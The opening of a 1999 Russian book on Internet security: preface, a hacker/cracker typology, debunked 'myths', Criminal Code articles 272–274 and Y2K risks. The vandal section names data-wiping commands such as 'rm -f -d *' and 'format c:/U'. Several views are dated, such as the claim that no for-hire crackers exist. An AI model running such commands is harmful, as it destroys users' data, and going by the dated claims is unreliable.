Атака на Internet

Илья Давидович Медведовский, Павел Валентинович Семьянов, Дмитрий Геннадьевич Леонов
Атака на Internet

Предисловие

Предыдущая книга «Атака через Internet» вызвала широкий отклик у наших читателей. За прошедшие два года с момента ее выхода постоянно меняющийся мир Internet преподнес всем нам много нового в такой интересной и чрезвычайно динамичной области, как информационная безопасность вычислительных сетей. Мы не могли остаться в стороне от этого процесса – удивительный мир информационных воздействий сильно притягивает к себе, а однажды вступив на этот путь, уже невозможно остановиться, так как очень интересно узнать, что же там, за горизонтом…

Прошло два года – до горизонта все еще далеко, следовательно, у нашей науки есть настоящее и будущее: «Я мыслю – значит, я существую». Мы не оговорились, безопасность сетей – это именно наука, только она столь тесно переплетена с практикой, что многие об этом иногда забывают. Надеемся, что созданный нами в этой книге «сплав» науки и практики не оставит равнодушными наших читателей, и они смогут почерпнуть для себя много нового и интересного.

О чем эта книга

О безопасности сети Internet, а если точнее – о той опасности, которая угрожает всем пользователям Сети. Главная цель авторов – показать, что Internet как величайшее информационное достижение человечества помимо очевидных достоинств обладает рядом существенных недостатков в системе безопасности. Основываясь на своих практических исследованиях безопасности Сети и анализе доступной информации, мы попытались как можно более подробно и точно описать те возможные удаленные информационные разрушающие воздействия (удаленные атаки), о которых ходят слухи и мифы в среде пользователей Internet и которые в любой момент могут пожаловать к вам в качестве незваных гостей. А для того, чтобы оказать им достойную встречу, необходимо знать основные типы возможных атак и понимать механизмы их реализации. Авторам хотелось бы надеяться, что наша цель – повышение уровня информированности специалистов и пользователей Internet о тех угрозах информационной безопасности, которые таит в себе Сеть, – все-таки будет достигнута!

Отличия этой книги от других изданий по безопасности Internet

Неординарность подхода состоит в том, что его основу составляет анализ алгоритмических и технических особенностей реализации Internet, используемых нарушителями безопасности Сети.

Именно с этой точки зрения авторы, подробно изучив механизмы реализации удаленных атак, рассматривают возможные способы защиты от них.

По нашему мнению, предлагаемый подход позволяет указать на причины недостатков Сети и, тем самым, сосредоточиться на мерах, которые должны быть приняты в первую очередь, чтобы обеспечить опережающие действия для блокирования возможной атаки, а не устранения ее последствий.

Опережая возможные упреки в опасности раскрытия механизмов атак, мы считаем необходимым отметить следующее:

1. Знание механизмов атак позволяет в большинстве случаев предотвратить их путем правильного администрирования. Принцип «кто предупрежден – тот вооружен» оправдывает себя в данной ситуации и лишает нападающую сторону преимуществ внезапности и скрытности.

2. Информация об атаках в Сети основывается исключительно на открытых источниках. Правда об Internet, сопровождаемая понятными специалистам доводами, важнее для пользователя, чем неясные слухи о «страшных вторжениях в каждый компьютер» или рекламная информация о «достаточной мере защиты». Реальная оценка позволит точно установить риск использования Сети и требования к режиму ее использования.

Вопросы, оставшиеся за пределами данной книги

Осветить проблему безопасности сети Internet в целом не входило в наши планы. Мы не рассматривали безопасность электронной почты (программу PGP и т. п.), проблемы с безопасностью, возникающие при переходе на новый стандарт IPv6, почти не затронуты средства криптографической защиты (типа Kerberos). Кроме того, мы не стремились подробно описывать такие хорошо известные и, видимо, порядком уже поднадоевшие читателям методы и средства защиты в сети Internet, как Firewall, SSL, SKIP, S-HTTP.

Чем настоящее издание отличается от предыдущего «Атака через Internet»

Мы надеемся, что уважаемый читатель уже имел возможность познакомиться с предыдущей книгой «Атака через Internet». Тогда попробуем предвосхитить вопрос читателей об отличиях двух изданий и в этом разделе о них рассказать.

Во-первых, изменился состав авторов: вместо В. Платонова, написавшего в предыдущем издании вторую главу, появился новый автор – Д. Леонов, который написал десятую главу. Также в создании книги принимал участие Е. Ильченко – автор второй главы.

Во-вторых, существенно изменилось наполнение книги. Ее объем увеличен нами более чем в полтора раза за счет новых глав, посвященных Web-безопасности, социальной инженерии, методам сканирования, и отдельного раздела, написанного, по многочисленным пожеланиям наших читателей, о безопасности Windows NT. Кроме того, на основе проведенных нами исследований безопасности различных систем за два года, прошедших с момента выхода первой книги, существенно доработаны старые главы.

В-третьих, исправлены некоторые досадные технические ошибки и опечатки, присущие предыдущему изданию.

Авторы выражают благодарность всему коллективу кафедры информационной безопасности компьютерных систем Санкт-Петербургского государственного технического университета и отдельно Александру Монину за оформление большинства графических материалов книги, а также Евгению Ильченко – аспиранту Томского государственного университета – за помощь при составлении данной книги.

В завершение мы желаем всем нашим читателям обращать должное внимание на проблемы информационной безопасности и надеемся помочь вам как этой книгой, так и, возможно, лично в качестве независимых экспертов.

Специалистам понятна сложность в изложении столь деликатного вопроса, как безопасность сети, поэтому авторы будут благодарны читателям за отзывы.

Авторский коллектив:

Илья Медведовский – руководитель отдела информационной безопасности Notes Development, ведущий раздела «Информационная безопасность» журнала BYTE/Россия, ilya@blader.com;

Павел Семьянов – старший преподаватель кафедры информационной безопасности компьютерных систем СПбГТУ, psw@ssl.stu.neva.ru;

Дмитрий Леонов – главный редактор журнала «HackZone – территория взлома» и создатель одноименного сайта, web@hackzone.ru.

Часть I Хакеры и кракеры

Глава 1 О хакерах и не только…

Но сначала нам надо с тобой договориться, как именно мы определим, о чем мы советуемся, дабы не выходило, что я разумею одно, ты же – другое…
Платон. Диалоги

В последние полтора-два года книжные прилавки стали заполняться всевозможными книгами и журналами, в названиях которых присутствует слово «Internet». Это свидетельство того, что Internet пришел в Россию. Появились пользователи и провайдеры, с каждым днем растет количество всевозможных сайтов, начали формироваться свои службы, да и престиж заставляет некоторых людей подключаться к Сети. Появился и спрос на специальную литературу.

Практически в каждой такой книге имеется глава, раздел или параграф, посвященный безопасности. Однако анализ этого материала показывает, что главные вопросы – безопасна ли глобальная сеть и как защитить свой компьютер, подключенный к ней, – так и остаются без ответа.

Предлагаемая читателю книга целиком посвящена проблеме безопасности Internet. В отличие от других подобных изданий, она построена по принципу анализа возможных и существующих уязвимостей Сети, которые реализуются или могут быть реализованы в Internet. В книге рассматривается практически все, что грозит пользователю при работе с Internet, что поджидает каждого в этом удивительно интересном, но, подчеркиваем, опасном путешествии по Сети.

Основные понятия компьютерной безопасности

Для того чтобы рассматривать в дальнейшем вопросы защиты в Internet, необходимо напомнить основные понятия, которыми оперирует теория компьютерной безопасности. Вообще говоря, их всего три: это угрозы, уязвимости и атаки. Хотя искушенному читателю смысл их и так хорошо ясен, постараемся пояснить его.

Итак, угроза безопасности компьютерной системы – это потенциально возможное происшествие, неважно, преднамеренное или нет, которое может оказать нежелательное воздействие на саму систему, а также на информацию, хранящуюся в ней. Иначе говоря, угроза – это нечто плохое, что когда-нибудь может произойти.

Уязвимость компьютерной системы – это некая ее неудачная характеристика, которая делает возможным возникновение угрозы. Другими словами, именно из-за наличия уязвимостей в системе происходят нежелательные события.

Наконец, атака на компьютерную систему – это действие, предпринимаемое злоумышленником, которое заключается в поиске и использовании той или иной уязвимости. Таким образом, атака – это реализация угрозы. Заметим, что такое толкование атаки (с участием человека, имеющего злой умысел) исключает присутствующий в определении угрозы элемент случайности, но, как показывает опыт, различить преднамеренные и случайные действия бывает невозможно и хорошая система защиты должна адекватно реагировать на любое из них.

Исследователи обычно выделяют три основных вида угроз безопасности – это угрозы раскрытия, целостности и отказа в обслуживании.

Угроза раскрытия заключается том, что информация становится известной тому, кому не следовало бы ее знать. В терминах компьютерной безопасности угроза раскрытия имеет место всякий раз, когда получен доступ к некоторой конфиденциальной информации, хранящейся в вычислительной системе или передаваемой от одной системы к другой. Иногда вместо слова «раскрытие» используются термины «кража» или «утечка».

Угроза целостности включает в себя любое умышленное изменение (модификацию или даже удаление) данных, хранящихся в вычислительной системе или передаваемых из одной системы в другую. Обычно считается, что угрозе раскрытия подвержены в большей степени государственные структуры, а угрозе целостности – деловые или коммерческие.

Угроза отказа в обслуживании возникает всякий раз, когда в результате определенных действий блокируется доступ к некоторому ресурсу вычислительной системы. Реально блокирование может быть постоянным, так чтобы запрашиваемый ресурс никогда не был получен, или может вызвать только задержку, достаточно долгую для того, чтобы он стал бесполезным. В таких случаях говорят, что ресурс исчерпан. В локальных вычислительных системах (ВС) наиболее частыми являются угрозы раскрытия и целостности, а в глобальных, как будет показано далее, – на первое место выходит угроза отказа в обслуживании.

Особенности безопасности компьютерных сетей

Основной особенностью любой сетевой системы является то, что ее компоненты распределены в пространстве, а связь между ними осуществляется физически, при помощи сетевых соединений (коаксиальный кабель, витая пара, оптоволокно и т. п.), и программно, при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной вычислительной системы, передаются по сетевым соединениям в виде пакетов обмена.

К сетевым системам, наряду с обычными (локальными) атаками, осуществляемыми в пределах одной компьютерной системы, применим специфический вид атак, обусловленный распределенностью ресурсов и информации в пространстве, – так называемые сетевые (или удаленные) атаки (remote или network attacks). Они характеризуются, во-первых, тем, что злоумышленник может находиться за тысячи километров от атакуемого объекта, и, во-вторых, тем, что нападению может подвергаться не конкретный компьютер, а информация, передающаяся по сетевым соединениям. С развитием локальных и глобальных сетей именно удаленные атаки становятся лидирующими как по количеству попыток, так и по успешности их применения, и, соответственно, обеспечение безопасности ВС с точки зрения противостояния сетевым атакам приобретает первостепенное значение.

Под удаленной атакой обычно понимается информационное разрушающее воздействие на распределенную ВС, программно осуществляемое по каналам связи. Такое определение охватывает обе особенности сетевых систем – распределенность компьютеров и распределенность информации. Поэтому далее будут рассмотрены два подвида таких атак – это удаленные атаки на инфраструктуру и протоколы сети и удаленные атаки на операционные системы и приложения. При этом под инфраструктурой сети мы понимаем сложившуюся систему организации отношений между объектами сети и используемые в сети сервисные службы, а под операционными системами и приложениями – все программное обеспечение, работающее на удаленном компьютере, которое тем или иным образом обеспечивает сетевое взаимодействие.

Что такое хорошо и что такое плохо

Просматривая большое количество статей (главным образом, в электронных журналах) о проблемах компьютерного взлома, нельзя не обратить внимание на тот факт, что ни в одной из них не проводится та грань, которая, как нам кажется, четко разделяет всех, так или иначе связанных с компьютерной безопасностью. В основном мнение компьютерного мира по этому поводу либо сугубо негативное (хакеры – это преступники), либо скромно-позитивное (хакеры – «санитары леса»). На самом деле у этой проблемы существует, по меньшей мере, две стороны, положительная и отрицательная, и между ними проходит четкая граница. Эта граница разделяет всех профессионалов, связанных с информационной безопасностью, на хакеров (hackers) и кракеров (crackers). И те, и другие во многом занимаются решением одних и тех же задач – поиском уязвимостей в вычислительных системах и осуществлением на них атак («взломом»).

Принципиальное различие между хакерами и кракерами состоит в целях, которые они преследуют. Основная задача хакера в том, чтобы, исследуя вычислительную систему, обнаружить слабые места (уязвимости) в ее системе безопасности и информировать пользователей и разработчиков системы с целью последующего устранения найденных уязвимостей. Другая задача хакера – проанализировав существующую безопасность вычислительной системы, сформулировать необходимые требования и условия повышения уровня ее защищенности.

С другой стороны, основная задача кракера состоит в непосредственном осуществлении взлома системы с целью получения несанкционированного доступа к чужой информации – иначе говоря, для ее кражи, подмены или для объявления факта взлома. Кракер, по своей сути, ничем не отличается от обычного вора, взламывающего чужие квартиры и крадущего вещи. Он взламывает вычислительные системы и крадет чужую информацию. Итак, кардинальное различие между хакерами и кракерами в том, что первые – исследователи компьютерной безопасности, а вторые – просто воры или вандалы. Хакер в данной терминологии – это специалист. В качестве доказательства приведем определение из словаря Guy L. Steele.

...

HACKER, сущ. 1. Индивидуум, который получает удовольствие от изучения деталей функционирования компьютерных систем и от расширения их возможностей, в отличие от большинства пользователей компьютеров, которые предпочитают знать только необходимый минимум. 2. Энтузиаст программирования; индивидуум, получающий удовольствие от самого процесса программирования, а не от теоретизирования по этому поводу.

Данная трактовка термина «хакер» отличается от принятой в средствах массовой информации, которые, собственно, и привели к подмене понятий. В последнее время многие специалисты по компьютерной безопасности (особенно на Западе) стали аккуратнее относиться к этим терминам, и мы в подобной трактовке терминов уже не одиноки.

Низменность мотивов кракеров и отсутствие стремления к профессиональному росту приводят к тому, что 90 % из них являются «чайниками», которые взламывают плохо администрируемые системы, в основном используя чужие программы (обычно такая программа называется exploit). Причем это мнение тех самых 10 % профессиональных кракеров – бывших хакеров, ставших на путь нарушения закона. Их, в отличие от кракеров-«чайников», остановить действительно очень сложно, но, как показывает практика, отнюдь не невозможно (см. противоборство Митника и Шимомуры в главе 4). Очевидно, что для предотвращения возможного взлома или устранения его последствий требуется пригласить квалифицированного специалиста по информационной безопасности – профессионального хакера.

Однако было бы несправедливо смешать в одну кучу всех кракеров, однозначно назвав их ворами. По нашему мнению, кракеров можно разделить на три следующих класса в зависимости от цели, с которой осуществляется взлом: вандалы, «шутники» и профессиональные взломщики.

Вандалы – самая известная (во многом благодаря широкому распространению вирусов, а также творениям некоторых журналистов) и, надо сказать, самая малочисленная (к счастью) часть кракеров. Их основная цель – взломать систему для ее дальнейшего разрушения. К ним можно отнести, во-первых, любителей команд типа rm – f – d *, del *.*, format c:/U и т. д. и, во-вторых, специалистов в написании вирусов или «троянских» коней. Совершенно естественно, что весь компьютерный мир ненавидит кракеров-вандалов лютой ненавистью. Эта стадия кракерства характерна для новичков и быстро проходит, если кракер продолжает совершенствоваться (ведь довольно скучно осознавать свое превосходство над беззащитными пользователями). Кракеров, которые даже с течением времени не миновали эту стадию, а только все более оттачивали свои навыки разрушения, иначе, чем социальными психопатами, не назовешь.

«Шутники» – наиболее безобидная часть кракеров (конечно, в зависимости от того, насколько злые они предпочитают шутки), основная цель которых – известность, достигаемая путем взлома компьютерных систем и внесения туда различных эффектов, выражающих их неудовлетворенное чувство юмора. К «шутникам» также можно отнести создателей вирусов с различными визуально-звуковыми эффектами (музыка, дрожание или переворачивание экрана, рисование всевозможных картинок и т. п.). «Шутники», как правило, не наносят существенного ущерба компьютерным системам и их администраторам (разве что моральный). На сегодняшний день в Internet это наиболее распространенный класс кракеров, обычно осуществляющих взлом Web-серверов, чтобы оставить там упоминание о себе. Все это либо невинные шалости начинающих, либо рекламные акции профессионалов.

Взломщики – профессиональные кракеры, пользующиеся наибольшим почетом и уважением в кракерской среде. Их основная задача – взлом компьютерной системы с серьезными целями, например с целью кражи или подмены хранящейся там информации. Как правило, для того чтобы осуществить взлом, необходимо пройти три основные стадии: исследование вычислительной системы с выявлением в ней изъянов (уязвимостей), разработка программной реализации атаки и непосредственное ее осуществление. Естественно, настоящим профессионалом можно считать только того кракера, который для достижения своей цели проходит все три стадии. С небольшой натяжкой профессионалом можно также считать того кракера, который, используя добытую третьим лицом информацию об уязвимости в системе, пишет ее программную реализацию (exploit). Осуществить третью стадию, используя чужие разработки, очевидно, может практически каждый.

Если абстрагироваться от предмета кражи, то работа взломщиков – это обычное воровство. К сожалению, в России все не так просто. Конечно, взлом компьютерных систем ни в коем случае нельзя назвать достойным делом, но в стране, где большая часть находящегося у пользователей программного обеспечения является пиратским (хотя ситуация, наконец, меняется в лучшую сторону – становится модным использовать легальное ПО), то есть украденным не без помощи тех же взломщиков, почти никто не имеет морального права «бросить в них камень».

В этой книге мы ограничимся рассмотрением хакеров-кракеров с позиций распределенных систем, однако не нужно забывать, что самая многочисленная категория кракеров занимается более обыденными вещами, а именно: снятием защиты с коммерческих версий программных продуктов, изготовлением регистрационных ключей (registration key) для условно бесплатных программ (shareware) и т. п.

Цели кракера

Итак, какие же цели преследует кракер, атакующий извне ваш компьютер? Очевидно, их может быть несколько:

• получить доступ к важной информации, хранящейся у вас. Вероятно, вы крупная компьютерная шишка, и за вами серьезно охотятся (если, конечно, этой информацией не является несколько гигабайт изображений высокого разрешения);

• получить доступ к ресурсам вашей системы. Это может быть как процессорное время (особенно, если вы обладаете суперкомпьютером), так и дисковое пространство (например, для организации пиратского ftp-сайта). В этом случае вы не только ничего не потеряете, но и, возможно, приобретете честно украденное программное обеспечение стоимостью много тысяч долларов;

• нарушить работоспособность вашего хоста без реализации угрозы раскрытия. Это бывает опасно, если ваш хост должен обеспечивать бесперебойное обслуживание клиентов;

• иметь плацдарм для осуществления вышеназванных целей, но для атаки на другой компьютер – тогда в журналах атакованного компьютера будет значиться, что атака осуществлялась с вашего адреса. Вы, конечно, будете доказывать, что вы тут ни при чем, и, вероятно, докажете это, но инцидент доставит вам несколько неприятных минут и вы услышите обидные слова об уровне защиты вашего хоста;

• запустить пробный шар, отладить механизмы атак на другие системы. Не расстраивайтесь, ведь это доказательство того, что вы не так уж бесполезны в сети, в отличие от других хостов, на которые никогда никто не нападал и которые остро ощущают свою ненужность.

Сетевая информационная безопасность: мифы и реальность

Всемогущество хакеров

Глубокое непонимание большинством обывателей проблем, связанных с информационной безопасностью в вычислительных системах, с течением времени сформировало определенный миф о всемогуществе хакеров и повсеместной беззащитности компьютерных систем. Действительно, современные вычислительные системы и сети общего назначения имеют серьезнейшие проблемы с безопасностью. Но, подчеркнем, именно вычисли тельные системы общего назначения. Там же, где требуется обработка критической информации и обеспечение высшего уровня защиты и секретности (например, в военной области, в атомной энергетике и т. п.), используются специализированные защищенные ВС, которые (и это чрезвычайно важно!) в основном изолированы от сетей общего назначения (от сети Internet, например). Поэтому необходимо развеять первый миф, исключительно популярный в художественной литературе, кино, а также в средствах массовой информации: кракер не может проникнуть извне в вычислительную систему стратегического назначения (например, в ВС атомной станции или пункта управления стратегическими вооружениями).

Новую жизнь в этот миф вдохнул последний военный конфликт в Югославии. Согласно сообщениям российских СМИ, складывалось ощущение, что военные сети НАТО полностью беззащитны и полный контроль над ними имеют «отважные хакеры». Естественно, что если такие перлы попадали в электронные эхо-конференции, то только в разделы юмора.

Тем не менее мы говорим лишь о невозможности получения несанкционированного удаленного доступа именно извне. В том случае, если нанести ущерб системе вознамерится кракер из состава персонала защищенной ВС, то сложно абстрактно судить, насколько успешны будут его попытки.

В качестве примера напомним случай на Игналинской АЭС, когда местный системный программист внедрил в ВС программную закладку («троянского» коня), которая чуть не привела к аварии на станции. Однако, как утверждает статистика, нарушения безопасности системы собственным персоналом составляют около 90 % от общего числа нарушений. Итак, критические вычислительные системы нельзя назвать неуязвимыми, но реализовать на них успешную удаленную атаку практически невозможно.

Прочитав этот раздел, недоверчивый читатель может заметить, что он лично встречал заметки о том, как «кракеры проникли в компьютер Пентагона или НАСА». Все дело в том, что любая уважающая себя организация, будь то ЦРУ, АНБ или НАСА, имеет свои WWW– или ftp-серверы, находящиеся в открытой сети и доступные всем. И кракеры в этом случае проникали именно в них (а ни в коем случае не в секретные или закрытые сети), используя, может быть, один из механизмов, описанных в нашей книге.

Защита банковских систем

Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей беззащитности банковских вычислительных систем. Да, действительно, в отличие от ВС стратегического назначения, банки из-за конкурентной борьбы между собой вынуждены для обеспечения удобства и быстродействия работы с клиентами предоставлять им возможность удаленного доступа из сетей общего пользования к своим банковским вычислительным системам. Однако, во-первых, для связи в этом случае используются защищенные криптопротоколы и разнообразные системы сетевой защиты (например, Firewall), и, во-вторых, предоставление клиенту возможности удаленного доступа отнюдь не означает, что клиент может получить доступ непосредственно к внутренней банковской сети. По мнению специалистов, зарубежные банковские ВС (про отечественные мы не говорим, пока еще не достигнут соответствующий уровень автоматизации расчетов) являются наиболее защищенными после ВС стратегического назначения.

Однако в последние годы некоторым журналистам, в том числе и отечественным, в погоне за сенсацией удалось (и не без успеха, особенно на основе реально имевшего место дела Левина) придумать миф о всеобщей беззащитности банковских систем. Яркий пример подобных творений – статья г-на А. Какоткина «Компьютерные взломщики», опубликованная в еженедельнике «Аргументы и Факты» в феврале 1997 года. Вывод из этой статьи, перефразируя слова ее автора, можно сделать следующий: «Каждому хакеру – по бронежилету и запасному процессору». Не нужно быть крупным специалистом по компьютерной безопасности, чтобы, прочитав эту статью, понять, что она неправдоподобна от начала и до конца (особенно смешно читать «подробности» взлома банковской сети). Возможно, впрочем, что недостаточно просвещенного в этой области журналиста некие люди ввели в заблуждение (или, что неудивительно, он просто чего-то не понял).

Более интересным, на наш взгляд, вопросом является то, насколько надежно на самом деле защищены банковские сети, особенно в том случае, если к ним предусмотрен удаленный доступ из сети Internet. К сожалению, мы не можем дать точного ответа, пока специализированные системы безопасности банковских ВС (естественно, под такими системами не имеются в виду операционные системы типа Novell NetWare, Windows NT или 95, UNIX, которые хоть и часто применяются в банковской среде, но специализированными уж никак не являются) не будут сертифицированы. Единственное, что можно гарантировать, – то, что с вероятностью около 99,9 % подобные системы будут подвергаться угрозе отказа в обслуживании, которая рассмотрена далее.

Сетевые кракеры

Недоверие к описанным в средствах массовой информации способам того, как кракеры осуществляют взлом, и того, к каким результатам это приводит, побудило нас подробнее рассмотреть вопрос: а реальны ли вообще такие взломы?

Так вот, ни одного подтвержденного факта осуществления целенаправленного взлома с помощью программных средств (а не с помощью подкупа и т. п.) нам не удалось найти ни в России, ни за рубежом.

Да, почти каждый день вскрываются WWW-серверы каких-то компаний. Но здесь жертва выбирается не целенаправленно, а большей частью случайно: «повезет – не повезет». Более того, подмена некоторых WWW-страниц часто вовсе не означает, как будет показано в следующих главах, полного контроля над атакованным хостом, злоумышленник может вообще не иметь к нему никакого доступа, а просто подменять эти страницыс помощью перемаршрутизации. Собственно, взлом WWW-серверов и составляет 90 % всех проявлений якобы всемогущих кракеров, обсуждаемых в сетевой и несетевой прессе.

Легендарный Кевин Митник был по большей части именно легендарным. Его самая известная (и, возможно, единственная реальная) атака обсуждается в четвертой главе этой книги. Даже если принять эту атаку так, как она преподносится (обратите внимание на наши сомнения по поводу квалификации Митника!), очевиден тот факт, что она была придумана не им и осуществлена в то время, когда в Internet меньше всего беспокоились о безопасности.

Можно вспомнить еще дело Левина. Очень туманное дело. Если Левин (или кто-то еще) действительно вскрыл CityBank, пользуясь только своей головой и руками, то мы готовы взять свои слова обратно. Но на сегодняшний день наиболее убедительной является версия, что у него все же были сообщники в этом банке, которые предоставили ему входное имя и пароль. Косвенным подтверждением этого служит факт, что «гениальный взломщик банков» почему-то был гениален только в самом процессе взлома и вел себя, скажем, не очень умно при сокрытии своих следов и противоборстве с правоохранительными органами.

Все это позволяет нам предположить, что проблема сетевых кракеров в том виде, как она обычно преподносится СМИ, на самом деле отсутствует. Да, много сил должно уделяться защите компьютерных систем от «псевдохакеров», которые считают себя профессионалами, умея запускать различные «нюки» (nuke) или подбирать пароли типа «guest». Они способны нанести этим определенный урон. Существуют, безусловно, и более квалифицированные группы кракеров, занимающиеся, например, взломом WWW-серверов для «увековечивания» собственного имени. Но у нас вызывает большое сомнение существование профессионалов, а тем более налаженной индустрии, которая допускает взлом любого более-менее защищенного хоста «на заказ». По собственному опыту мы можем предположить, что цена такого взлома должна быть в несколько раз больше, чем ценность находящейся там информации, поэтому в ход идут старые проверенные методы типа вербовки или подкупа.

Резюмируя, мы считаем, что никаких сетевых кракеров, специализирующихся на вскрытии хостов за деньги или с целью использования полученной информации для собственного обогащения, не существует. Их квалификация должна быть настолько высока, что во всем мире таких людей можно без труда пересчитать, и они наверняка являются хакерами, а не кракерами.

Межсетевые экраны Firewall как панацея от всех угроз

И последний миф – это миф о системах Firewall, как о «единственном надежном средстве обеспечения безопасности» сегмента IP-сети. Да, сама суть методики Firewall является абсолютно непогрешимой и логичной. Основной ее постулат заключается в создании bastion host (выделенный бастион), обеспечивающего контроль за безопасностью в защищаемом сегменте сети и осуществляющего связь данного сегмента с внешним миром. Но это все действует пока только в теории. На практике же все известные нам сегодня системы Firewall неспособны к отражению большинства из описанных удаленных атак как на протоколы и инфраструктуру сети, так и на операционные системы и приложения.

Это, конечно, отнюдь не означает, что отразить данные удаленные атаки принципиально невозможно, – именно в направлении обнаружения и отражения сетевых атак сейчас наиболее активно развивается современная наука. По-видимому, все дело в том, что большинство разработчиков систем Firewall, как это часто случается с разработчиками систем защиты ВС, никогда не были хакерами и, следовательно, смотрели на проблему защиты IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.

Статьи Уголовного кодекса Российской Федерации, связанные с преступлениями в сфере компьютерной информации

Для тех, кто хочет посмотреть на проблему безопасности с другой стороны, со стороны кракера, напоминаем, что с 1997 года начали действовать новые статьи УК РФ, где, к сожалению, довольно расплывчато и нечетко описывается возможная уголовная ответственность за «преступления в сфере компьютерной информации» (глава 28 УК РФ):

Статья 272. Неправомерный доступ к компьютерной информации.

1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, – наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.

2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой, либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, – наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размере заработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет.

Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ.

1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами, – наказываются лишением свободы на срок до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев.

2. Те же деяния, повлекшие по неосторожности тяжкие последствия, – наказываются лишением свободы на срок от трех до семи лет.

Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети.

1. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети лицом, имеющим доступ к ЭВМ, системе ЭВМ или их сети, повлекшее уничтожение, блокирование или модификацию охраняемой законом информации ЭВМ, если это деяние причинило существенный вред, – наказывается лишением права занимать определенные должности или заниматься определенной деятельностью на срок до пяти лет, либо обязательными работами на срок от ста восьмидесяти до двухсот сорока часов, либо ограничением свободы на срок до двух лет.

2. То же деяние, повлекшее по неосторожности тяжкие последствия, – наказывается лишением свободы на срок до четырех лет.

По своей сути данный закон должен быть направлен именно на кракеров, однако такое правонарушение, как взлом программного обеспечения, даже не упоминается. С другой стороны, расплывчатость формулировок статей закона, в случае их формальной трактовки, позволяет привлечьк уголовной ответственности практически любого программиста или системного администратора (например, допустившего ошибку, которая повлекла за собой причинение определенного законом ущерба). Так что программы теперь лучше вообще не писать.

Если же говорить серьезно, то применение на практике приведенных статей Уголовного кодекса чрезвычайно затруднено. Это связано, во-первых, со сложной доказуемостью подобных дел (судя по зарубежному опыту) и, во-вторых, с естественным отсутствием у следователей высокой квалификации в данной области. Поэтому, видимо, пройдет еще не один год, пока мы дождемся успешного уголовного процесса над преступникамив сфере компьютерной информации.

Проблема 2000года в свете информационной безопасности

Новое издание нашей книги выходит в 1999 году, и вполне естественным нашим желанием является обратить внимание читателей на проблему 2000 года (Y2K), которую мы рассматриваем в несколько менее традиционном аспекте – как с точки зрения информационной безопасности проблема Y2K повлияет на киберпространство.

Большинство исследований, посвященных этой проблеме, в основном содержат анализ причин возможных отказов в работе прикладного или системного программного обеспечения, потери от таких отказов и меры по предотвращению сбоев в работе программного обеспечения. Однако нельзя забывать о целом классе программных средств, основная задача которых – обеспечение информационной безопасности (ПСОИБ – программные средства обеспечения информационной безопасности). В этом разделе мы рассмотрим виды ПСОИБ, потенциально наиболее уязвимые по отношению к проблеме Y2K (программные средства, которые обрабатывают данные, связанные с системной датой), выделим различные модули ПСОИБ и рассмотрим возможные причины, по которым проблема Y2K может иметь к ним непосредственное отношение.

Возможные проблемы в модулях ПСОИБ

1. Проблемы с системами шифрования/цифровой подписи.

При шифровании/дешифрировании сообщений, формировании или проверке электронной подписи, при проверке подлинности сертификата, подтверждающего личность пользователя, программные реализации криптосистем могут некорректно обрабатывать год создания сообщений, тем самым приводя к их частичной или полной потере. Это может привестик нарушению функциональности криптосистем, вплоть до полной невозможности отправлять или читать шифрограммы.

Рассмотрим подробнее сущность данной проблемы. Любая криптосистема содержит в своей основе систему анализа, хранения и распределения ключевой информации (сертификатов), предназначенной для шифрования сообщений и идентификации/аутентификации пользователей. Все сообщения, передаваемые криптосистемой, так или иначе шифруются с использованием данного сертификата, который, как правило, выдается на определенный срок и, следовательно, с течением времени устаревает. Как следствие, системы шифрования обязательно обладают встроенными модулями «временного» анализа, задача которых – сопоставлять дату сертификата с текущей, указанной в шифрограмме, для того чтобы отфильтровать устаревшие или повторные сообщения. Например, известная атака на криптосистемы связана с повторной передачей ранее перехваченных зашифрованных сообщений. В случае успеха атаки, если данное сообщение будет воспринято системой, можно вызвать повторную реакцию криптосистемы на данное сообщение, что приведет, например, к переполнениюи сбою системы (в случае направленного шторма повторными сообщениями). В связи с этим криптосистемы обычно имеют встроенную защиту от подобных атак и, анализируя дату приходящих сообщений, не допускают прием повторных сообщений или сообщений, зашифрованных с использованием устаревших ключей. В том случае, если в системе модуль «временного» анализа разработан без учета проблемы Y2K, криптосистема в целом может дать сбой, что приведет к приему повторных сообщений или полному выходу системы из строя.

2. Проблемы с модулями автоматизированного контроля безопасности системы.

Одной из стандартных функций ПСОИБ является автоматизированный контроль за безопасностью системы. Обычно данные модули осуществляют динамический контроль за состоянием АС, что вынуждает их использовать и протоколировать в log file (журнал аудита) время и дату обнаруженного контролируемого события. В стандартную поставку данных систем входят модули анализа журнала аудита. Сбои в этих модулях при попытке автоматизированного анализа базы данных, содержащей журнал аудита, могут привести к неверной реакции системы обеспечения информационной безопасности. Примером в данном случае являются системы Firewall, одна из задач которых – постоянное ведение журнала аудита, в который, помимо информации о попытках создания сетевых соединений, заносится информацияо времени создания соединения. Использование средств автоматизированного анализа журнала аудита, разработанных без учета Y2K, может вызвать их сбой и привести как к аварийному завершению процесса, осуществляющего анализ, так и к аварийному завершению работы всей системы в целом.

3. Проблемы с модулями реализации авторизованного доступа к ресурсам системы.

